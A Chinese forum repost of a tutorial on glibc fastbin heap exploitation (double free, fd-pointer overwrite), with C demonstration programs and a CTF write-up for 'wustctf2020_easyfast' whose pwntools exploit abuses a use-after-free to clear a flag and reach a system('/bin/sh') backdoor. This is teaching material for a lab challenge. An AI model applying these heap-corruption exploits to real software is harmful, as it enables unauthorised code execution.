|
原文链接:投稿-Fastbin Attack
Fastbin Attack
简介
基于 fastbin 机制的漏洞利用方法
前提
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
漏洞发生于 fastbin 类型的 chunk 中
分类
--Fastbin Double Free
--House of Spirit
--Alloc to Stack
--Arbitrary Alloc
前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击
后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。
原理
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。
下面用一段程序加gdb调试来说明
- #include <stdio.h>
- #include <stdlib.h>
- int main(void)
- {
- void *chunk1,*chunk2,*chunk3;
- chunk1=malloc(0x10);
- chunk2=malloc(0x10);
- chunk3=malloc(0x10);
- free(chunk1);
- free(chunk2);
- free(chunk1);
- return 0;
- }
复制代码 gcc -g name.c -o name
-g 在gdb中带着源码调试
-o 命名
从下面的gdb调试中可以很好的看到这一点,我们申请的是0x10大小的堆块,加上chunk头的0x10和in_use位中p位的1,最后大小就是0x21
画一下chunk的结构
一般来说free掉chunk之后prev_inuse的p为应该是0,但由 fastbin 管理的 chunk 即使被释放后p位仍然为1
Fastbin Double Free
简介
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。
利用的原理
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
- #include <stdio.h>
- #include <stdlib.h>
- typedef struct _chunk
- {
- long long pre_size;
- long long size;
- long long fd;
- long long bk;
- } CHUNK,*PCHUNK;
- CHUNK bss_chunk;
- int main(void)
- {
- void *chunk1,*chunk2,*chunk3;
- void *chunk_a,*chunk_b;
- bss_chunk.size=0x21;
- chunk1=malloc(0x10);
- chunk2=malloc(0x10);
- free(chunk1);
- free(chunk2);
- free(chunk1);
- chunk_a=malloc(0x10);
- *(long long *)chunk_a=&bss_chunk;
- malloc(0x10);
- malloc(0x10);
- chunk_b=malloc(0x10);
- printf("%p",chunk_b);
- return 0;
- }
复制代码
申请两个chunk后,按顺序free掉chunk1,chunk2,chunk1,形成下面的链表
然后申请chunk1,把chunk1的fd指针改成bss_chunk的地址
再申请两个堆块就可以利用bss_chunk
总结一下
简单来说就是先申请了两个chunk,chunk1和chunk2,,然后先后free1、2、1,此时的fastbin链表为chunk1-->chunk2-->chunk1,然后重新申请chunk1,然后让chunk1的fd指针指向bss_chunk,此时bins中fastbin链表中队的chunk1也指向了bss_chunk,之后再陆续申请两个chunk就能控制利用bss_chunk了
例题
wustctf2020_easyfast
类型:fastbinattack double free
版本:Ubuntu16
ida
main
- void sub_400ACD()
- {
- char s[8]; // [rsp+0h] [rbp-20h] BYREF
- __int64 v1; // [rsp+8h] [rbp-18h]
- unsigned __int64 v2; // [rsp+18h] [rbp-8h]
- v2 = __readfsqword(0x28u);
- *(_QWORD *)s = 0LL;
- v1 = 0LL;
- while ( 1 )
- {
- puts("choice>");
- fgets(s, 8, stdin);
- switch ( atoi(s) )
- {
- case 1:
- sub_400916(); //add
- break;
- case 2:
- sub_4009D7(s, 8LL); //delete
- break;
- case 3:
- sub_400A4D(s, 8LL); //edit
- break;
- case 4:
- sub_400896(s, 8LL); //backdoor
- break;
- case 5:
- exit(0);
- default:
- puts("invalid");
- break;
- }
- }
- }
复制代码
add
- unsigned __int64 sub_400916()
- {
- int v0; // eax
- int v1; // ebx
- char s[24]; // [rsp+10h] [rbp-30h] BYREF
- unsigned __int64 v4; // [rsp+28h] [rbp-18h]
- v4 = __readfsqword(0x28u);
- if ( dword_6020BC <= 3 ) //只能申请4个堆块
- {
- puts("size>");
- fgets(s, 8, stdin);
- v0 = atoi(s);
- if ( v0 && (unsigned __int64)v0 <= 120 )
- {
- v1 = dword_6020BC++;
- *(&buf + v1) = malloc(v0);
- }
- else
- {
- puts("No need");
- }
- }
- else
- {
- puts("No need");
- }
- return __readfsqword(0x28u) ^ v4;
- }
复制代码
delete
- unsigned __int64 sub_4009D7()
- {
- __int64 v1; // [rsp+8h] [rbp-28h]
- char s[24]; // [rsp+10h] [rbp-20h] BYREF
- unsigned __int64 v3; // [rsp+28h] [rbp-8h]
- v3 = __readfsqword(0x28u);
- puts("index>");
- fgets(s, 8, stdin);
- v1 = atoi(s);
- free(*(&buf + v1)); //uaf
- return __readfsqword(0x28u) ^ v3;
- }
复制代码
edit
- unsigned __int64 sub_400A4D()
- {
- __int64 v1; // [rsp+8h] [rbp-28h]
- char s[24]; // [rsp+10h] [rbp-20h] BYREF
- unsigned __int64 v3; // [rsp+28h] [rbp-8h]
- v3 = __readfsqword(0x28u);
- puts("index>");
- fgets(s, 8, stdin);
- v1 = atoi(s);
- read(0, *(&buf + v1), 8uLL);
- return __readfsqword(0x28u) ^ v3;
- }
复制代码
backdoor
- int sub_400896()
- {
- int result; // eax
- if ( qword_602090 ) //储存的值是1 改成0就可以往下执行,就可以提权了
- result = puts("Not yet");
- else
- result = system("/bin/sh");
- return result;
- }
复制代码
qword_602090
- .data:0000000000602090 qword_602090 dq 1 ; DATA XREF: sub_400896+4↑r
- .data:0000000000602090 _data ends
- .data:0000000000602090
复制代码
double free的原理
在删除堆的时候没有对指针进行归零操作,然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限
思路
通过存在的uaf漏洞在fastbin链表中去进行堆块的构造,让第一个free掉的chunk的fd指针指向需要修改的bss段数值的-0x10的位置(这里就是个伪造一个堆块)
然后把伪造的堆块当成真正的chunk去申请,然后再修改这个伪造chunk的fd指针处的数值,就能成功的getshell
exp
- from pwn import *
- context(os='linux',arch='amd64',log_level='debug')
- io=process('./pwn')
- def duan():
- gdb.attach(io)
- pause()
- def add(size):
- io.recvuntil(b'choice>\n')
- io.sendline(b'1')
- io.recvuntil(b'size>\n')
- io.sendline(str(size))
- def delete(index):
- io.recvuntil(b'choice>\n')
- io.sendline(b'2')
- io.recvuntil(b'index>\n')
- io.sendline(str(index))
- def edit(index,content):
- io.recvuntil(b'choice>\n')
- io.sendline(b'3')
- io.recvuntil(b'index>\n')
- io.sendline(str(index))
- io.send(content)
- def backdoor():
- io.recvuntil(b'choice>\n')
- io.sendline(b'4')
- #io.recvuntil("_\\_\\ \n")
- add(0x40) #chunk0
- add(0x20) #chunk1
- delete(0) #free chunk0
- #duan()
- edit(0,p64(0x602080))
- add(0x40)
- add(0x40)
- edit(3,p64(0))
- backdoor()
- io.interactive()
复制代码
参考
https://ctf-wiki.org/pwn/linux/u ... oc2/fastbin-attack/
来源:先知社区的【F4atherw1t 】师傅
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|